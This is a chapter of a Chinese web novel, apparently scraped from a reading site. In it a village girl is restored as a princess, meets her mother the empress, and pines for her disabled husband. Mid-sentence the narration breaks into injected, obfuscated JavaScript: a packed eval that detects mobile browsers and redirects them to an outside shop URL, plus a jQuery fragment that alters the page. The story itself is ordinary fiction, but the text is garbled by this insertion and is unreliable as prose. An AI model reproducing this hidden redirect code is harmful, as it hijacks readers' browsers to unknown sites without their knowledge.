梁国皇族姓郦,与史书上更迭的历代王朝一般,原本也只传皇子承继大统。
直至皇位传至第三代,老皇帝一生专情,偌大后宫仅立一后,偏偏皇后体弱,子嗣单薄,待到中年薨逝,老皇帝终日思妻心切,也感大限将至,筹措储君人选时,膝下唯有一位公主。
公主多年辅政,文韬武略丝毫不逊于男子,老皇帝遂破旧立新,改祖制,立新规:自兹以后,大梁储君,不同男女,无论嫡庶,唯贤是举,以固江山永祚。
当世在位的女皇,则是大梁第六帝,也是第二位女帝。
男女皆可为政的风气经由四代君主治下的上行下效,如今大梁女子亦可参与文武科举,与男子同朝为官。
翠花久居渊国边陲,对梁国制度的这些了解,大多来自此番进京途中,柳清姿与宝钿等人的讲述。
至于更深层的,关乎皇家内情之事,身为人臣子民,她们自然不便多言。
翠花倒也想得开,她们说多少她就听多少,她们不便言说之处,她也不会巧言刺探。
这份颇具大智若愚意味的通透,某种层面而言着实令柳清姿等人意外。
尤其眼看到了皇城边,她还仍然吃得下睡得香,定力也堪称一等一的级别,只叫全然不知淮澈每日除了情爱,也不少与翠花谈论其他的他们萌发感慨,公主不愧是天子血脉,天然便有过人之处。
进宫面圣的前夜,月色漫过窗棂,柳清姿避开众人,私下寻到翠花,低声叮嘱:“明日觐见女皇陛下,若陛下不问,公主切记莫要主动提及婚配与夫君之事。”
柳清姿自是不敢在公主的婚姻大事上隐瞒不报,但相处这些时日,她又确是存了几分回护之心,想为公主指一条能将淮澈稳妥留在府中的路径。
翠花闻言,眼睫轻轻颤动了一下,随即了然:“我明白,若主动说及相公的寒微出身和腿疾,女皇娘亲定然觉得我受了天大的委屈,柳大人放心,我晓得轻重。”
莫说是九五之尊的女皇,就是她那卖了一辈子豆腐的爹爹,若她捡回淮澈时尚且在世,听闻她救活他后还动了要将其招赘的心思,也定会要她去河边空空脑子里的水。
爹爹从不盼她大富大贵,却时常懊悔自己眼盲体弱,累她小小年纪便要帮忙扛起生计,又怎么舍得从小苦到大的女儿伺候完老父,再招个也要她伺候的相公?
柳清姿颔首:“下官会禀明陛下,公主确已在民间成婚,但您与所托之人皆深知如今身份悬殊,再留他在身边,仅是顾惜旧情,不忍弃之。”
翠花点头:“一切听凭柳大人安排。”
她心下清明,既然柳清姿已将淮澈带入皇城,若再因此触怒女皇,柳清姿的处境只会比他们更不好过。
依梁国祖制,皇女十三及笄,皇子十五束发后方可受封开府。
翠花今年已满十八,女皇怜惜她流落民间多年,恨不得将她过往错失的荣华一口气补偿回来,早已为她备下了规制显赫的公主府。
柳清姿亦将这份荣宠的重量告知翠花:“陛下亲自选址督建,三殿下去年受封,府邸尚不及您的一半大。”
因女皇思女心切,盼望团聚,翠花仅在府门前与这偌大的宅邸打了个照面,便又匆匆入宫去了。
淮澈则随宝钿及几名护卫留下,宝钿和护卫皆是女皇的旨意,唯恐她初入府邸人生地不熟,苦于诸多不适应之处,是以留下她差遣顺手的人随侍。
此举更让翠花吃下了一颗定心丸,虽然方式和态度都与爹爹不同,但女皇娘亲想来也是十分疼爱她的,并非只出于皇家体面做样子,而是会真切站在她的立场,细细为她考量。
女皇体恤,不想天家威严吓到这个刚刚寻回的女儿,因此未在庄严肃穆的正殿召见,只将母女重逢之处定在御花园。
时值夏日晨光渐炽,透过古柏交错的枝叶,在青石径上筛落出碎金似的光点。
晨露未晞,悬于牡丹娇艳的花瓣边缘,恍若美人垂泪,我见犹怜。
汉白玉的拱桥之下,初绽的粉荷亭亭,偶有锦鲤跃出水面,漾开圈圈涟漪,撞上雕花石栏,复归宁静。
翠花正惊叹于这片人间仙境般的秾丽雍和中,嗅着风里浮动的栀子甜香,忽见一队宫人捧着冰鉴垂首缓行,裙裾拂过卵石拼嵌的万福纹,引一道端丽威仪的身影来到近前。
翠花尚在襁褓时便遗失民间,对娘亲是没什么记忆的。
可当她抬眸,望见那张果然与自己极为相似的面容时,一种源于血脉深处的亲近感还是骤然奔涌,冲得她鼻尖发酸,朱唇轻颤,不觉间,一声“娘”已脱口而出。
入宫前柳清姿教过她一些基本的规矩,女皇面前当称“母皇”,行万福跪拜礼,此刻却完全被她抛诸脑后。
她只半晌怔望着未曾谋面的娘亲,望着望着,眼眶便也热了。
而女皇苦寻她十八年,见她如此情真意切,又怎么会埋怨长于民间的女儿不通宫规礼法呢?
“是我的女儿,是我的姝儿。”姝儿是女皇取给翠花的乳名,她根本不要翠花跪拜,一双执掌江山的手微颤着握在翠花手上,许久舍不得放开,“离开娘时才足三个月,都长这么大了,我儿受苦了。”
女皇摸到翠花乍然看去纤白莹润的十指上,指腹处均被石磨农具打出了薄茧,再侧目瞧见柳清姿适时跪呈上的,由女儿亲手打磨的慈祥梳,不禁更加动容。
几乎不加迟疑地,本来要施给翠花的赏赐翻了一番儿,三千两银子直接批到她府上,不仅是翠花过去卖几辈子豆腐都赚不来的,即便之于受封的公主亲王,也相当于无功无过时的一年俸禄。
女皇无疑喜欢极了翠花这个失而复得的女儿。
原本只想留她在宫中三日,连教导宫规礼仪的老师都已备下,末了却足足留了八日,非但将那些会害女儿劳神费心的课业搁置到了九霄云外,更时常被翠花哄得笑意盈眸。
翠花本就性子纯善讨喜无疑是重要原因,更得益于淮澈一路潜移默化的点拨,让她能在与女皇相处时始终恰到好处地拿捏分寸,既不失尊敬,又带着民家女孩儿的天然娇憨。
这八日,赏赐也如流水一般,不断往翠花暂居的宫苑送。
绫罗绸缎,珠宝古玩……可谓只有翠花想不到,没有她女皇娘亲送不到。
起初几日,翠花是满心欢喜地感动于娘亲厚爱,也惊叹于这些从未见过的富贵物什。
到了后来,感动当然仍是感动的,却架不住她不仅不认几个字,也算不清太复杂的数目,再面对起那些个个需要登记造册的珍玩,整个人都有点麻,索性全交由宫人,让他们先行送回公主府的库房中。
翠花想到自招赘淮澈后,家中进项开支便全由他一手打理,心头不由也为他泛起一丝甜蜜的烦恼:“从前是银钱紧巴,需得相公精打细算,才能勉强攒下些许结余。如今银钱多得都不知如何花用了,也不知他是不是同我一样,算着算着便头晕犯蒙了。”
正如柳清姿所言,若仅叫女皇知晓她曾在民间招赘,听得柳清姿笃定淮澈是个安分守己的,便当真未再就此事过问什么。
好不容易寻回的掌上明珠,顾念旧情,在府中留用个通房面首罢了,这于女皇看来,实在算不上什么不得了的事情。
女皇自个儿后宫可是一后四妃编满,再往下的男嫔,御夫更是十数不止。
女儿心善,舍不得糟糠情分,便同曾在路边捡回只小猫小狗,如今仍得不得丢弃一样。
她疼女儿还来不及,又怎会明知女儿会因此沮丧,还非要将那陪伴她两年的小宠儿逐走呢?
只是以翠花那点浅薄阅历,若柳清姿不把话直白着说,她自然想不通女皇之所以将她招赘淮澈一事轻轻放过,竟会出于这般缘由。
她只晓得十五,十六这两日月亮圆得惹人相思,如今虽说有了娘亲疼惜,每日都像是浸在蜜罐里,却还是想爹爹也想相公了。
留在宫中陪伴女皇的第七日,翠花在晚膳时分,陪女皇娘亲饮了几盏粤地新贡的青梅酒。
她平日是那种大大咧咧的姑娘,哪怕日子过得清苦些,只要苦中尚有甜,就仿佛不识愁滋味,除非沾了酒,几杯下肚便会变了性情,格外容易伤情怀远。
回到寝院,由宫女伺候着沐浴更衣后,她仍被酒意蒸得双颊发烫,躺在象牙床上翻来覆去半个时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209176|197141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辰也毫无睡意,索性趿了绣鞋,披一件软罗薄衫,走到暂住的宫苑附近,拣了处凉亭坐下看月亮。
好消息是十七的月亮没有十五十六那么圆满,坏消息是月亮圆也罢,缺也罢,都不耽误她一样想爹爹想相公。
想爹爹也还好,爹爹苦了一辈子,却始终厚道待人,是乡里乡亲公认的老好人,既然能保佑她先捡到相公,又寻回娘亲,想必在阴司也是福泽深厚,被阎王爷封了个顶风光的大官做。
倒是相公更加令她揪心,自打她将他捡回家来,二人还从来没有分开过这么久。
偏偏他那人瞧着性子淡,骨子里却执拗得很,占有欲强不说,又格外依赖她。
那是他才被她捡回来三个多月时发生的事,彼时他好不容易捡回一条性命,伤势也将将好转。
清晨时分,她照例随村西卖包子的王大哥夫妇去镇上赶集。
那日生意好,她的豆腐摊收得早,听说茶馆新来了个说书先生,便把空豆腐车托给王大哥夫妇照看,自己带着他们家八岁的狗娃,挤进茶馆听书。
一大一小两个孩子听着听着就入了迷,王大哥和王大嫂见惯不怪,先帮她把豆腐车推回村里,娃娃仍交给她带着。
翠花便和狗娃一直在茶馆待到晌午,听够了故事,才慢悠悠地晃回村,不料她送回狗娃推开家门,竟看到了家中恍若厉鬼索命的景象。
她那本该瘫在床上的相公,竟生生把自己翻了下来,用一双手臂拖着毫无知觉的双腿,从床榻一路爬至门口。
十几步的距离,他磨破了掌心,膝盖连着小腿更是皮开肉绽,加之腹间未愈的伤口再度崩裂,浑身是血,在所过之处留下一道深深浅浅的血痕。
他抬头看她,眼底猩红,声音嘶哑:“你若厌了我,后悔救了我,直说便是,不必躲我,更不必躲到外头……我不碍你的眼,就算死,也不会死在你面前。”
话虽说得决绝,可二人的第一次,也正是发生在那一日。
她急着给他清洗伤口上药,他执意不肯,喂饭递水,也紧抿着唇不肯张口,她软语哄了半晌,他的脸色仍不见缓和,她无可奈何,正欲起身去看灶上煎的药,他却误以为她又要走,猛地攥住她的手腕……
他自称曾是书生,缠绵病榻三个多月,鬼门关前走过一遭,瘦得形销骨立。
可那日力气却大得惊人,五指如铁钳般箍住她,任她如何挣扎也甩不脱,推搡时翠花的手无意擦过他腿间,顿时臊得满脸通红。
肌肤相亲前,他第一次对她谈起自己:“归绥人士,年二十八,二岁丧父,十二岁亡母,如今孑然一身,未曾婚配……”
原也是个苦命人,见她当真不嫌,反执意招赘,手头拮据无力办礼的二人,索性借着情浓,提前洞了花烛。
他性子再要强,再想方设法极尽自理之能,也终究双腿残疾,行走艰难。
翠花出神地想:自己不在的这几日,他的腿疾可曾发作?本就身子弱,梁国与渊国水土迥异,又可曾害病?若真又疼又病,以他那性子,定不会对旁人言语,旁人无从得知,想来更不可能主动为他抓药煮药。
本就是想睡却睡不着才出来闲逛,此刻翠花长发未绾,身上也只着一件极薄的纱罗睡裙,夜风拂过,衣袂轻盈如雾。
并不是她粗鄙妄为,当了公主仍不顾体统,这般衣衫不整就敢四处走动。
实是女皇娘亲为她设想得过于周全,唯恐旁人冲撞了她,便特意拨了一处独门独院的宫苑给她。
院门外时刻有女卫把守,跟孙悟空为唐僧画下的护身圈一样,只要她不踏出去,除非女皇亲临,否则谁也进不来。
因此,当身后响起脚步声时,她只当是久候她不归,故而担忧寻来的宫女或女侍。
不料她匆匆拭了下眼角,回身望去,却见一道清隽身影静立在凉亭另一端。
溶溶月色下,那人一身月白锦袍,倚栏而立,身姿如修竹临风,眉峰似远岱,眼尾噙春水,气质温润清朗至极。
而待他看清翠花的面容,竟也蓦地一怔,一句微带颤音的“太女殿下”脱口而出,惊得翠花不知所措,下意识后退了半步。